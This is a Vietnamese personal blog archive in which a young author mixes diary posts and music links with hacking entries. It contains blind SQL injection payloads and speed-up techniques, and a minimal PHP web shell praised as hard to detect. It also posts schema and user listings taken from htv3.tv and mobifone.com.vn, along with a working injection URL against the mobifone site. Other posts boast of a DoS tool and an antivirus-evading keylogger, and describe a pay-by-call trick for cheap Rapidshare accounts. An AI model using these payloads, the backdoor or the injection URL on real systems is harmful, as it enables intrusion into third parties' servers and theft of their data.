manhluat93's blog

Acoustic

2012-02-17T15:09:00.001+07:00

Wherever U are...

2012-02-17T14:30:00.004+07:00

hơ đã có domain :))

2012-02-10T11:44:00.001+07:00

http://blog.manhluat.org \m/.

Tối ưu hóa Blind SQL Injection[Part II]

2012-01-17T17:11:00.007+07:00

Okie, tiếp tục bài viết "Tối ưu hóa Blind SQL Injection" cách đây vài hôm của mình. Có hứa là "ngày mai" ...nhưng các bạn thông cảm. Ăn tất niên quên cả giờ giấc.

Thôi vào thẳng vấn đề. Cách tối ưu của mình thì cũng không có gì đặc sắc lắm, cứ xem nó là 1 gợi ý cho các bạn để tìm cách tấn công tối ưu nhất vậy.
.................

I. Sleep cùng 1 lúc...tên hay phết.

Thay vì như cách sleep luôn giá trị find_in_set trả về thì có thể sleep rất lâu, cũng có thể sleep rất lẹ và 1 số nhược điểm mà mình nói trong bài lần trước, thì mình có cách khắc phục đó là:

Tức là thay vì sleep 39 giây. thì chúng ta sẽ tách ra là 3 và 9 để sleep. Với cách này có thể khắc phục các trường hợp find_in_set quá lớn và quá nhỏ, ngoài ra cũng có thể code ra tool để chạy song song 2 query này. Thế là nội trong ít nhất 9 giây ta có thể biết luôn cả char cần tìm thay vì là 39 giây .

II. Tùy chọn giá trị trả về

Đây là cách mình nói ở cuối bài lần trước, tuy rằng cách này thiên về tốc độ, không như cách sleep của anh gamma là tối ưu về số lượng query và câu cú query đơn giản.

VD: Ta có 1 trang news (ex: http://gov.ca.gov/news.php?id=17267). Như các bạn biết, các table chứa các nội dung của những bản tin tức sẽ được tạo theo cấu trúc (minh họa đơn giản nhất, thực tế thì sẽ có thêm vài columns nữa)

Tức là với mỗi ID khác thì Content cũng sẽ khác, với mỗi id khác thì bản tin được trang web in ra cũng sẽ khác. vậy lợi dụng vào việc này ta có thể tùy chọn giá trị id trả về sau mỗi query rồi dùng một ngôn ngữ nào đó ta regex (regular expression) để so sánh.

Để cụ thể hơn mình có 1 source ở localhost. giả dụ đây là 1 trang tin tức. Click vào để xem hình chi tiết hơn.

như các bạn thấy ở mỗi id khác thì nội dung cũng sẽ khác.

Vấn đề ở đây là nếu Blind SQLI như bình thường thì ta chỉ quan tâm TRUE or FALSE, rồi xem những nội dung mà chỉ khi TRUE mới hiện ra có được trang web in ra hay không. Nhưng ta cũng có thể tùy chọn giá trị id trả về. Ví dụ ta khai thác trang localhost bằng query này:

content.php?id=if(substring(@@version,1,1)=5,1,2)

Tức là nếu kí tự đầu tiên của version SQL là 5 thì id sẽ là 1 , nếu không phải id sẽ là 2. Rồi dựa vào nội dung đặc trưng và khác nhau giữa 2 bản tin ấy ta có thể biết kí tự đầu tiên của version có phải là 5 hay không. Vậy với câu query như thế này thì sao ?

if((@a:=mid(INSTR(0x6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738395f21402324255e262a28292d2b3d5c2e225c277e605c5c7c7b7d5b5d3a3b20,mid(@@version,1,1)),1,1))!='',if(@a=0,10,if(@a=1,1,if(@a=2,2,if(@a=3,3,if(@a=4,4,if(@a=5,5,if(@a=6,6,if(@a=7,7,if(@a=8,8,if(@a=9,9,0)))))))))),0)

Câu query này đang tách giá trị find_in_set ra làm 2 rồi tìm, giống như cách 1 ở trên. Nhờ vào nội dung ta có thể biết đang là id mấy, từ id ta có thể truy ra con số đầu tiên mà find_in_set trả về là bao nhiêu chỉ trong vòng 1 query ? vậy tối đa ta chỉ dùng 2 query là đã ra 1 kí tự.Done.

?id=0 , SQL nó không trả về kết quả vì nó hiểu giống như là NULL ở kiểu định dạng string,thì đây là NULL ở dạng int...thì phải. Cái này không rõ lắm .

Vậy các điều kiện để thực hiện cách khai thác này chỉ là có đủ 10 nội dung ở 10 id khác nhau , ở đây là 10 bản tin khác nhau để có thể so sánh qua lại tìm ra giá trị cần tìm . Mọi chi tiết, thắc mắc về bài viết này xin gửi mail cho mình ở bên dưới. Peace!

manhluat93

manhluat93.php[at]gmail[dot]com

--------------------------------------------
Vài lời muốn nói tới các bạn xem bài mình: Đừng có thấy một hạt sạn nhỏ xíu rồi đánh giá cả bài viết. Còn mọi ý kiến nghiêm túc thì giống như HVA, mình cũng sẽ trả lời một cách nghiêm túc. Thanks. Peace!

Tối ưu hóa Blind SQL Injection.

2012-01-14T01:11:00.003+07:00

Sr vì màu mè khó đọc

Hôm nay, đi TetCon nguyên 1 ngày. Mình thì ko thật sự hiểu 2 chủ đề Sandbox và Fuzzing.thôi nói chung không phải chuyên ngành mình nên ko ý kiến, dù rằng nghe bảo rất hay

Tóm tắt về cách anh gamma optimize về Blind SQL Injection là thế này.

Dùng find_in_set (về sau thì gamma dùng instr, mình cũng thấy instr hay hơn) để đánh chỉ mục (index). Tức là nếu select find_in_set('a','a,b,c,d...z'); thì nó sẽ trả về 1. nếu find_in_set('b','a,b,c,d...z') -> 2 .
........................

Kết hợp với Bit-Shifting, ta xác định là dù kí tự gì thì cũng phải 7 query/char (8 bit, nhưng fix ngay bit cao nhất là 0, vì sao thì mở bảng ascii ra xem). Mình cũng đã code ra cái tool này rôi, nhưng cuối cùng chả xài.

Vậy nếu kết hợp 2 cái này lại thì ta sẽ tối ưu đc gì ?. Nếu ta find_in_set đủ các kí tự printable (kí tự in ra đc) thì là: abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&;*()-+=\."\'~`\\|{}[]:; (khoảng trắng nữa nhé) , tổng cộng là 45 kí tự. vậy nếu ta Bit-shifting cái con số find_in_set trả về thì max cũng chỉ là 45 là 101101 (Bin) , vậy tối đa chỉ có 6 q/s (query/char), còn đối với các số nhỏ hơn thì lại càng ít hơn.

Okie. cơ bản là thế, vậy anh gamma đã tối ưu nó như thế nào ?. Lúc đầu thật sự mình tò mò, ko biết 1 q/s là ntn. Xem qua thì ý tưởng của a khá hay. Tức là ta không còn dùng bit-shifting để tìm ra giá trị find_in_set trả về. mà dùng chính kĩ thuật Time-based SQLI. Anh ấy cho SQL sleep luôn giá trị find_in_set trả về, tức là sleep(find_in_set(.....)) ,thế tức là anh ấy sẽ xem thằng SQL nó "ngủ" bao nhiêu giây thì sẽ ra giá trị find_in_set -> char cần tìm -> 1 q/s Clear ?

Ưu điểm thì:
- Ý tưởng và cách khai thác của anh hay
- khả năng bị detect qua log ko cao. vì chỉ có 1 query/ 1 char. thay vì 6 q/s.

Ok. Theo mình thì ý tưởng là hay, nhưng cách này cũng còn vài nhược điểm dễ thấy như:
- Time-based SQLI phụ thuộc rất nhiều vào đường truyền giữa Attacker-Server
- Nếu giá trị find_in_set quá nhỏ thì lại gây nhầm lẫn. về sau a ấy có fix thêm 1 chút là thêm 4-5 kí tự đằng trước để các giá trị nhỏ ko còn nhỏ nữa (tự hiểu đê ).
- Nếu giá trị find_in_set quá lớn lại ngủ quá lâu, có thể bị timeout bất cứ lúc nào
- Nói chung ý tưởng của anh thì mình thấy là hay và tốt , nhưng giá trị thực tiễn để áp dụng thì chưa cao lắm. nhưng cũng có thể là a đang gợi ý hoặc cho 1 ý tưởng để các bạn có thể suy nghĩ ra cách khác optimize Blind hay hơn .

Nói chung là thế. Nhưng chưa hết, ngày mai mình sẽ viết 1 bài về Optimize Blind SQLI của mình nghĩ ra. Nếu hội tủ vài điều kiện (đ/k này thì ko quá khó, mình nghĩ 90% site bị Blind SQLI sẽ hội tủ đc điều này) thì chỉ cần 2 query / char . Và có thể query song song , tức là có thể dùng cURL cho chạy 2 query 1 lúc -> ko phụ thuộc vào time-based. khả năng bị detect qua log ko cao mấy vì chỉ có 2 query. tốc độ nhanh. Nói chung mai các bạn sẽ biết chi tiết...

manhluat93

manhluat93.php[at]gmail[dot]com

Part II: Tối ưu hóa Blind SQL Injection

[Python] Get Link NhacCuaTui.Com

2011-11-27T19:35:00.001+07:00

pastebin.com/7Xj6k0Uy

Tiny PHP Shell

2011-11-27T18:17:00.001+07:00

from http://h.ackack.net/tiny-php-shell.html

Xét qua 1 đoạn code php:

$fuzz = 'phpinfo()';
$fuzz;

Kết quả là khi chạy nó sẽ ra php info.

Vậy lợi dụng ưu điểm này của php ta làm đc gì :D

$_ = @$_GET[1];
@$_($GET[2]);

@ sẽ giúp cho các var và func ko bị log lại.

--> index.php?1=system&2=dir

Một cách "găm" shell khá hiểm :D , khó phát hiện

Get Link mp3.zing.vn

2011-11-18T23:02:00.001+07:00

Rảnh rỗi sinh nông nỗi :D ,code lại những bài mà cách đây 3 năm mình code trên PHP :)

http://pastebin.com/xeNkCyyX

Có một playlist nghe không bao giờ chán!

2011-09-27T22:55:00.000+07:00

http://mp3.zing.vn/album/mcmong-Dang-cap-nhat/IW8F0WFW.html

:).có mấy bài nghe cách đây đúng 2 năm rồi :).

ngồi mò bug nukeviet 3

2011-08-26T05:39:00.000+07:00

Hjx. lâu quá rồi mới mò lại bug. mà source nukeviet3 giờ code kỹ wá =.=!

Nhiều khi xài các hàm để security nhiều 1 cách thái quá (như là đã addslashes rồi còn filter rồi còn htmlspecialchars...thật là mình ko hiểu ý đồ của coder, chắc do là nhiều người code nên mỗi người cách -> tả pín lù ) . Thôi ko mò nữa. mệt xác.

haha!

2011-08-24T04:30:00.002+07:00

Vừa chơi con template awesome. re-design thêm font và màu nhìn rất chi là vl . ai thấy vậy ko ?

#RefRef made by manhluat93

2011-08-21T03:17:00.004+07:00

http://dantri.com.vn/c119/s119-505129/hom-Anonymous-trinh-lang-vu-khi-moi-cuc-manh.htm

http://www.thehackernews.com/2011/07/refref-denial-of-service-ddos-tool.html

nếu ai từng đọc qua bài này hoặc xem trên các news bên nc' ngoài thì thấy tool này rất chi là mạnh. manhluat cũng thử ngồi đọc tin, bảo là tool dựa vào javascript và SQL để khai thác. Nghi nghi, hình như cách này mình thường làm hoài. Nhưng lâu ko đụng nên quên bẵng. nên cách đây vài ngày lôi ra code lại thì....:))

Show 1 ít về em nó:

Sau 10s thì như thế này:

Đáp án Lý, có hình nên xài cho đề nào cũng đc

2011-06-02T17:20:00.000+07:00

UIT or UNS ?

2011-05-10T17:22:00.000+07:00

.......................................................

htv3.tv - sql injection

2011-04-30T21:24:00.005+07:00

Version: 5.0.77

LIST DATABASE:

wp_commentmeta,wp_comments,wp_links,wp_liveshoutbox,wp_messagebox,wp_ngg_album
wp_ngg_gallery,wp_ngg_pictures,wp_options,wp_pollsa,wp_pollsip,wp_pollsq,wp_postmeta,
wp_posts,wp_term_relationships,wp_term_taxonomy,wp_terms,wp_usermeta,wp_users,albums,
answer,audios,casting,cats,comment_bad,comments,ebanner,expandbanner,fav,files,friendlist,
game,genres,images,messages,points,poll,poll_result,postmeta,posts,programmeta,programs,
question,rates,ratings,schedules,screensavers,staff,staffrole,starring,survey,types,userfile,usermeta,
userprofile,users,videocats,videos,mybb_adminlog,mybb_adminoptions,mybb_adminsessions,
mybb_adminviews,mybb_announcements,mybb_attachments,mybb_attachtypes,
mybb_awaitingactivation,mybb_badwords,mybb_banfilters,mybb_banned,
mybb_calendarpermissions,mybb_calend

LIST USER: htv3tv,nctt,...

Log database mobifone.com.vn

2010-12-28T19:09:00.000+07:00

Bem lâu rồi , ko có screenshot nhưng có list data. Chẳng biết làm gì wăng lên chơi.

LIST USER

REPORT
SCORE24
MY_WAP
TEST
WAP_MBF
BI
PM
SH
IX
OE
HR
SCOTT
MGMT_VIEW
EPORTAL
MDDATA
SYSMAN
MDSYS
SI_INFORMTN_SCHEMA
ORDPLUGINS
ORDSYS
OLAPSYS
ANONYMOUS
XDB
CTXSYS
EXFSYS
WMSYS
DBSNMP
TSMSYS
DMSYS
DIP
OUTLN
SYSTEM
SYS

http://wap.mobifone.com.vn/wap/xhtml/index.jsp?lang=vn&action=home&category_id=6328&content_id=-7601%20UNION%20ALL%20SELECT%201,'table_ml_name='||username||'table_ml_end','3',4,null,'6','7','8','9','10','11',NULL%20FROM%20all_users%20where%20username%20not%20in%20('ml','REPORT','SCORE24','MY_WAP','TEST','WAP_MBF','BI','PM','SH','IX','OE','HR','SCOTT','MGMT_VIEW','EPORTAL','MDDATA','SYSMAN','MDSYS','SI_INFORMTN_SCHEMA','ORDPLUGINS','ORDSYS','OLAPSYS','ANONYMOUS','XDB','CTXSYS','EXFSYS','WMSYS','DBSNMP','TSMSYS','DMSYS','DIP','OUTLN','SYSTEM','SYS')--

'ml','REPORT','SCORE24','MY_WAP','TEST','WAP_MBF','BI','PM','SH','IX','OE','HR','SCOTT','MGMT_VIEW','EPORTAL','MDDATA','SYSMAN','MDSYS','SI_INFORMTN_SCHEMA','ORDPLUGINS','ORDSYS','OLAPSYS','ANONYMOUS','XDB','CTXSYS','EXFSYS','WMSYS','DBSNMP','TSMSYS','DMSYS','DIP','OUTLN','SYSTEM','SYS'
------STOP-------

new entry [21/12/2010]

2010-12-21T22:59:00.000+07:00

Hơ. Lâu nay ko viết entry

1 là do lười ( chắc học nhiều wá,...chắc vậy ).
2 là do quên mất pass cái acc gmail này >""<. ẩu vãi . Pass là 123456 mà quên mãi .

_Học hành thì nói chung cũng khá, chỉ quan tâm 3 môn Toán-Lí-Hóa. Bản tính vốn đã lười học bài nên thôi mặc kệ mấy môn khác. Ai nói gì thì ta chịu . Nói chung ko có gì để kể.

_Dạo thời gian này năm trước gần Giáng Sinh thì ta đang trong thời kì lười, chẳng muốn làm gì. Cho đến khi vào đêm 24 thì biết tới cái Wargame của UIT (lật lại entry năm trước sẽ rõ). Rồi bỗng đam mê IT lại bay về, từ hôm đó thì có ý tưởng và làm nhiều WarGame cho a-e chơi. Tuy ko biết thành công hay ko nhưng cho mình nhiều kinh nghiệm. ko bổ ngang thì bổ dọc.

_Vừa thi xong nên rất rỗi trong 4 ngày, thứ 5 là đi học. Ko biết Noel năm nay mình đi đâu đây, năm nào cũng phải đi lễ trá hình . 2-3 năm rồi ấy chứ. chán vê lờ . Noel này tính sẽ đi Thảo Cầm Viên với bé Nhu. Ko biết vui ko, mà hứa hẹn 1 chầu nhậu đây .

_Giờ bỗng nhiên muốn nhanh tới kì thi đh rồi thi rồi rớt-đậu ra sao. Rồi ta bắt đầu tập trung vào con đường chuyên môn, con đường mà ta mất bao nhiêu năm định hình, bao nhiêu thời gian ta đã rót vào nó. Giờ như một cái ca nước sắp đầy. Sắp "tức nước vỡ bờ" rồi. Công sức ta bỏ ra ko là vô ích , vào ĐH nào thì ta cũng nắm trên 90% là có việc làm (hoặc tự lập cty thực hiện ước mơ riêng ). Tin chắc thế!. Có khi xin ba mẹ đi du học để phát triển thêm nhở.

_Mới thoáng mà cái đam mê của ta đã được 5 năm rồi. Từ khi còn mới lớp 7 , từ khi vào yahoo-69 chỉ biết Boot-Kick Yahoo. Nhưng nhờ thế ta dần biết cách đối nhân xử thế với những người bạn online và những kiến thức căn bản. Rồi 2-3 năm học về Network cũng như Exploit.

Quen biết bao nhiêu người , bao nhiêu bạn bè đếm ko xiết: a-e VNFriends (QKS-M.Trí-Tùng-Spoon-Đ.M-lminhquan-a.KID-takeshi-zeroxo-hvanhtuan-jtek-eric-xvnfriendsx-....v..v....) + a-e HCE (Anh cuty,soviet,sangte,X,smile_sad,thanhxyz,phoenix,hoangduye,linuxcodon,navaroiss,v..v..) + a-e VBF(Anh Ly0kha-Kid,....) + a-e Xgroup [hồi xưa mình anti X lắm , nhưng về sau thì đỡ rồi ] (Anh alucar-meoconx, tên EchXynh,Tựxéđồ,PhạmAnh,Matrix,dot, và bựa nhân LTA) + a-e từ các forum khác (Anh Khiêm-Lập Quốc-ngothanhtai,gamevn).... Sao cũng được, 1 số người rất hay chỉ bảo mình, 1 số người chỉ là bạn nc for fun. Nhưng đã giúp và làm bạn với ta rồi thì sẽ ko bao giờ quên a-e và ta mong khi lớn lên thì nhậu đủ với người trong list này .

Dù ngoài list này ,có 1 số người add ta chỉ để nhờ-giúp đỡ nhưng cũng ko từ chối-deny. Giúp đc gì thì giúp , mà khi ko muốn giúp thì sẽ ko giúp đâu . Nhưng ai đã xỏ mình thì mình chẳng bỏ qua đâu, xỏ lại 1 cú còn đau hơn đấy.

Sao cũng được, manhluat như hiện tại cũng là nhờ a-e.

_Dạo này chán quá, sắp vào HK2 nữa rồi. Chỉ còn vài tháng nữa là thi. 1 mặt thì muốn , mặt kia thì không. thôi....hết giờ rồi, ta đi ngủ đây.

Chúc a-e 1 đêm Noel vui vẻ bên người thân nhé.

Conan hài: Vì sao Conan luôn tìm ra đúng thủ phạm! :))

2010-09-17T17:03:00.001+07:00

Mặt Conan nhìn đê tiện dở lắm :))
Hình to quá , click vô link ảnh rồi phóng to ra xem nhé

http://ca4.upanh.com/12.315.16546372.ZPN0/ConanChe.jpg

Văn hóa Game của người Việt?

2010-07-11T01:24:00.001+07:00

_Hè nào cũng vậy, đa số mọi người đều có thời gian rảnh rỗi kha khá ,nhất là đối với học sinh ...Thế thì nếu muốn giải tỏa stress sau gần 1 năm thì đây là lúc, và GAME chính là công cụ giải trí đa số của mọi người. Nhưng câu hỏi đặt ra là: "Thật sự mọi người có coi GAME thật sự là công cụ giải trí ko?". Có người chơi GAME vì muốn bằng bạn bằng bè, người thì muốn đua TOP, người thì dùng GAME để kiếm ít tiền. Những trường hợp vừa kể thì tớ ko lên án cái nào cả (ngay cả tớ thì cũng muốn chơi GAME hay 1 chút để cùng chơi với bạn bè). Nhưng sau những cái ấy thì có những thằng "ngu học" chơi GAME ko biết để làm gì mà chỉ vào để chửi nhau .

_Nó có 1 chút tài cán hay 1 cơ hội nào đó có thể hơn đối thủ thì bật lên 1 câu : "ngu", "gà","dkm thằng ngu",zzz gì đó.Ví dụ ở Warcraft. Tớ chơi war gần 5 năm rồi. Đánh war với bạn bè đôi lúc hơi nóng mà la tụi cùng team. Nhưng chưa bao giờ chửi team kia cả . Họ chơi ra sao thì quyền của họ. GAME là thứ giải trí thế mà chúng lại lấy ra chửi bới nhau, thậm chí lôi cả gia đình và phụ huynh ra mà xoắn với nhau. pó tay.

_Hay là với 1 game như FIFA Online 2. Tưởng rằng chỉ là 1 game đá banh đơn giản, ko có gì để bàn cãi cả, thế mà .... Bạn thử dẫn banh tới khung thành rồi đối mặt thủ môn mà sút ko vào , hay là vài trường hợp sơ xuất để bị ghi bàn xem . Bên kia cũng bật ra 1 câu: "NGU","đồ con gà",blah blah...Rồi sau khi nó thua thì tự nhiên im lặng lạ thường và quit room (có lẽ đi tìm thằng khác để chửi).

_1 cách giải trí mới của người Việt ?

_Cứ thế những thằng "ngu học" chửi nhau, chửi wa chửi lại , cứ thế mà từ từ cái cách nói chuyện trong GAME của người Việt nó ra thế . Ko chửi là ko đc . Ko chửi mất vui ..zzz...

_Chỉ là 1 số ý kiến đối với trường hợp hơi tiêu cực trong thể loại giải trí của VN. Chẳng biết bao giờ có 1 công đồng GAME tôn trọng nhau nữa....Ko bik rồi cái cách giải trí mới này sẽ phổ biến tới đâu nữa...zzz.

_Viết ra thì bảo đảm có kẻ thích người chê. Okie. ai muốn bàn luận thì cứ comment (nhưng nói trước, văn tục thì del ngay). Muốn bàn luận với nhau 1 cách đàn ông thì cứ để lại comment. ghét cách bàn cãi của "thằng đàn ông có cá tính đàn bà" lắm . Xem WorldCup đây

Ẩn process

2010-07-01T16:51:00.000+07:00

Lượm lặt :D

http://vlink.name/text/hide-process

Mở Process với C/C++

2010-06-28T02:12:00.001+07:00

Document
Include 2 thư viện "windows.h" và "shellapi.h" nhé. Blogspot gà wá, filter hết mấy cái này :(
Soruce:

#include xxxxxxxxx
#include xxxxxxxxx

int main() {
ShellExecute(NULL,"open","notepad.exe",NULL,NULL,SW_SHOWNORMAL);
}

Truyện hài bóng đá!!

2010-06-24T15:40:00.001+07:00

Copy từ GAMEVN - Thư Giãn BOX =]]

Trong 1 giải giành cúp bóng đá ca-ri-bê năm 94, có 1 trận cực hài

Bảng A có 3 đội, Puerto Rico, Barbados và Grenada - chỉ 1 đội đc vào vòng trong và sau 2 trận đầu Puerto Rico coi như loại vì thắng 1 thua 1 và có quá ít bàn thắng (1 bàn duy nhất).

Barbados 0 - 1 Puerto Rico
Grenada 2 - 0 Puerto Rico

Trận cuối, Barbados gặp Grenada và Grenada đang dẫn trước 2 bàn, cho nên Barbados ngoài việc lo thắng Grenada còn phải lo ghi đủ để dẫn trước 2 bàn.

Mọi việc dường như thuận lợi cho bên Barbados vì họ vào trận đã làm thủng lưới bên kia 2 phát, dẫn tỉ số 2-0 cho Barbados. Nếu kết thúc thế này Barbados sẽ lọt vào vòng trong.

Cần phải nói thêm về giải Shell Caribbean Cup - nếu 1 trận đá loại mà hòa thì sẽ đá tiếp theo dạng bàn thắng vàng, đội nào ghi bàn sau phút thứ 90 sẽ được tính 2 bàn cho bàn thắng đấy và đương nhiên thắng trận.

Rất tiếc cho Barbados, phút thứ 83' bên Grenada sút vào 1 cú, cả hội trường gào lên cổ vũ Grenada. Nếu trận này kết thúc theo tỉ số này thì Barbados sẽ không vào được vòng trong.

Tỉ số là 2-1, chỉ còn hơn 7 phút là sẽ hết trận đấu mà dàn phòng thủ Grenada như tường thép, không cách nào phá thủng. Barbados dường như hết hi vọng... cho đến khi 1 cầu thủ nghĩ ra 1 kế để có thêm thời gian bứt phá: ...tự sút vào lưới nhà nếu Barbados tự tay cắt d... sẽ đưa tỉ số vào tình trạng.. hòa 2-2 và thế là sẽ có thêm thời gian để cố kiếm được bàn thắng vàng nâng tỉ số lên 4-2, đủ để vào vòng trong.

Và thế là tỉ số hòa 2-2 sau 1 cú sút vào lưới nhà ngoạn mục Tưởng chừng mưu kế thành công rồi, thì bên Grenada hiểu ra lý do vì sao Barbados làm trò đểu giả này... còn 5-6 phút, họ còn cách nào để ngăn Barbados?

Không mất nhiều thời gian lắm để bên Grenada nhận ra là... mình chỉ cần sút vào lưới nhà mình, nâng tỉ số lên cho Barbados 3 - 2 Grenada là coi như an toàn

Thế là 5 phút cuối trận fan bóng đá xem trận đấu được xem 1 màn... bóng đá chưa từng thấy bao giờ Grenada cầm bóng cố sút vào lưới mình, còn đội Barbados thì... huy động toàn đội lên lưới Grenada để bảo vệ ..lưới đội bạn Thế xong lúc Grenada thấy thế cố sút vào lưới Barbados thì Barbados lại chia lực lượng ra làm 2, 1 bên bảo vệ lưới mình 1 bên bảo vệ lưới ..bên kia

Cuối cùng 5 phút trôi qua bên Grenada ko tài nào ghi được bàn và vào phần bàn thắng vàng, Barbados áp đảo rồi đá 1 bàn vào lưới Grenada, nâng tỉ số lên 4-2 và giành vé vào vòng trong

Truyện thật 100% vô đối

ko thu lượm gì nhé tự dịch

Bonus thêm 2 cái clip:

Còn clip này là Tiger Cup (Vì Thái và Sing ko muốn thắng để giành hạng 2 của bảng để ko gặp VN , vì VN là chủ nhà)

Get Link MediaFire v2.3.1 (Fix Get Link Folder)

2010-06-03T22:46:00.000+07:00

Chỉ fix lại get folder thôi.

http://itsjustfortoday.com/getfolder.rar

Mình đang xem xét lại cơ chế encode để bắt link chính xác hơn. Vì vậy code hiện tại hơi chập chờn. Get 10 link thì đc ~7-8 link. Nên phải retry nhìu lần. Mình sẽ ráng tìm ra cách bắt link hiệu quả hơn :D. Thanks mọi ng` đã quan tâm

J-Drama

2010-06-03T05:24:00.000+07:00

Chà. hè này tìm được niềm vui mới ... J-Drama. Năm trước hè mình đến zới K-POP thì năm nay là J-Drama.

_Đang theo dõi bộ: Mr.Brain và Liar Game (chuyển thể từ truyện) . Hjx. 2 bộ suy luận cực kì hay. héhé. Trước đây với Death Note đã thành công trên mảng này thì giờ tới 2 bộ này. Chỉ mới xem mấy tập đầu đã fer rồi . Cực kì đúng ý ta.....Thôi share link down cho mọi người cùng thưởng thức (bonus thêm My Boss, My Hero <--- hài khỏi nói )

My boss,my Hero

Liar Game

Mr.Brain

Bonus: 1 Litre of Tears (cực kì cảm động [tuy là chưa xem].Bộ này mấy cháu gái mà xem chắc khóc điên lên)....Have fun ^^

[source] Get link MegaUpload lúc HappyHour

2010-06-02T16:51:00.001+07:00

http://itsjustfortoday.com/mega/happyhour.php

Demo: http://itsjustfortoday.com/mega/happyhour.php

Source: http://itsjustfortoday.com/mega/happyhour.txt

+ Cách sử dụng:
__Vào megaupload.com -> login acc -> gõ lên trình duyệt: javascript:document.cookie -> lấy cái đoạn user=xxxxxxxxxxxxxxxxxxxxxxxxxxx; --> Nhét vào code
--> $c[0] = 'user=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$c[1] = 'user=aaaaaaaaaaaaaaaaaaaaaaaaaa';

Cứ nhét vào $c[x]...

[C] cùng ML :D

2010-05-25T22:20:00.002+07:00

hehe. lâu rồi không code lại C. Giờ tập tành code lại nào. Mò mò đc cái KeyLogger . Lấy KIS cũng không quét ra đâu . Nhưng dừng lại ở mức đơn giản thôi. Mốt ta sẽ code típ. Giờ đi ngủ sáng mai đi Đầm Sen nào. Let's go . Cái hè cuối cùng của ta....

Source + *.exe đã complie: http://www.mediafire.com/?mi5lvoywnml

Super Junior - Bonamana (The Fourth Album)

2010-05-13T22:51:00.002+07:00

_hehe. h.nay 13/5 là album SUJU. Mai 14/5 tới JayChou. ô la la

http://nhachot.info/blog/Album-Super-Junior-Bonamana-The-Fourth-Album-2010/

Get Link MediaFire v2.3 released!

2010-05-13T17:05:00.000+07:00

_Hôm nay rảnh rỗi, MF đổi code là tớ code lại luôn ^^

http://www.mediafire.com/?ogz3zxygnqg

{tù} diary | đêm thứ II

2010-05-10T03:22:00.002+07:00

_Ngay tại thời điểm đang gõ cạch cách mấy dòng này là 3:13 A.M (GMT +7:00) ngày 10/5/2010 .

_đêm thứ I đã wa (Sinh + Văn) <- chẳng có gì đáng ngại, chỉ sợ thầy cô nghe thoang thoảng mùi bomb.
............

_đêm thứ I.10/5/2010. đang vật vã ôn Hóa. Đây là môn mình yếu nhất ở HK1. Nên quyết tâm gỡ lại ở HK2. điểm số trong năm HK2 khá tương đối (>8). chắc nhờ có chính sách dạy dỗ của cô H .còn môn Anh nữa,môn này và văn là 2 môn khó kiểm soát điểm số nhất. nó có thể là 2,cũng có thể lên 9 *__*. Dân IT mà bắt đi học Văn ?. Dân IT mà sợ Anh . ko hiểu sao tuy thấy ngu ngu mà vô phòng thi đầu óc mình lại thấy sáng loáng thế . bởi vậy mình luôn giữ thái độ điềm tĩnh trước phòng thi cũng như sau khi thi.(như là chỉ còn ~10h nữa là thi , nhung mình vẫn chưa ngủ mà còn vik ... cái này đây).Chỉ thay đổi cảm xúc khi bik điểm thi thôi (vui-buồn-tức giận-cả tự kỉ nữa ). đang nấu mì, vừa ăn vừa ôn. 5h rồi ngủ.

_Anyway, còn môn 4 môn. hjx. sao thấy lo 4 môn này vãi . Nhất là khoảng Sử @_@.

Bây giờ là 3:22 A.M. ML,Hwaitting

Get Link MediaFire v2.2 released!

2010-05-06T00:09:00.001+07:00

MF thay đổi code 1 chút :). Sr các bạn. vì lâu wá mình ko code nên ko nắm bắt đc qui luật code của MF nên update hơi nhiều lần :D. Mong là sẽ hoàn thành 1 cách hoàn hảo trong thời gian sớm :D. Thanks các bạn đã quan tâm :)

http://www.mediafire.com/?5vzky3dmjlw

Reg Account Rapidshare chỉ với 10.000 VNĐ

2010-05-05T17:09:00.003+07:00

Vào thẳng doanh trại: http://rapidshare.com/premium.html
Chọn loại acc 30days -> Chọn PayByCall
Chọn ngôn ngữ trong khi điện thoại là Eng. Chọn số máy để gọi đến là Finland, nước khác cũng đc nhưng thời gian giữ cuộc gọi hơi lâu, Phần Lan chỉ có hơn 150 giây thôi.
Nó hiện ra cái này:

Số ĐT phải gọi là 0700700129. Tuy nhiên vì bạn ở VN nên sẽ phải bấm 00358700700129 khi dùng đt bàn hoặc +358700700129 khi dùng di động.
Gọi đến, chờ nó nhắc nhập mã PIN thì nhập cái mã PIN 9973 vào, giống kiểu gọi lên tổng đài 18001091 nhấn phím x ấy, đừng có kết thúc cuộc gọi giữa chừng. Nhập xong thì hiện ra cái này, cái thanh đang chạy kia complete thì cuộc gọi cũng tự động ngắt.

Sau khi cuộc gọi ngắt thì nó ra cái này:

Do VN chưa thu tiền phí dịch vụ bên nước ngoài, nên lách luật được, có bạn trả 12k, bạn thì 11k, bạn thì 50k, nên dùng sim rác.

Nguồn: yswop.com

haha!

2010-04-25T01:50:00.004+07:00

_Ko biết đặt title cho entry này ra sao nữa

_Chẳng bik sao mình phát hiện ra 1 qui luật của riêng mình. Chỉ có 2 thứ mình dính vào nó lâu nhất: Computer và mấy cái môn thể thao hoạt động. Nhỏ giờ mình thích nhiều thứ lắm nhá : Hồi đó tính học nhảy, học beatbox, học ảo thuật, học mấy cái linh tinh, cái gì cũng học. cái gì cũng muốn giỏi. Đổ thời gian vào tập đc 1 tháng thì cảm thấy ngán ngẫm, có thể tính mình hơi "ham zui" . Cái gì đông người làm, có bạn bè, giao lưu thì duy trì đc vài tháng. Kết cục là ... chẳng có gì đến nơi đến chốn.

_Chằng hiểu sao hồi lóp 5 viết văn lại làm "football player" . Con nik mà , bik íu gì đâu.Giờ bỏ đá banh lâu rồi, năm lớp 10 mới đá lại. 5-6 năm. ôi =.=, giờ vãi. Bởi từ nhỏ đã tiếp xúc với thể thao,hồi tiểu học ông thầy bắt đi thi đủ trò: điền kinh,bóng ném,đá banh,... vào cái trung tâm TDTT gần nhà thì thêm vào: đá cầu chinh (ko bik ghi đúng ko). Nhắc lại mới nhớ cái đá cầu, hãm vãi... Tập thì xung lắm, đá toàn chỗ chết. nói chung mình chơi thể thao ko tới nổi tồi hơn mấy đứa cùng lứa đâu . Ra sân thì ko bik sao, tâm lý, sân trơn, hụt hoài =.=. ê vãi . về còn bị bỏ đói nữa. Vui nhất là: sau khi bỏ tập mấy năm. way lại mượn ông thầy đôi giày để thi cho trường thì đíu cho. tức vd' .

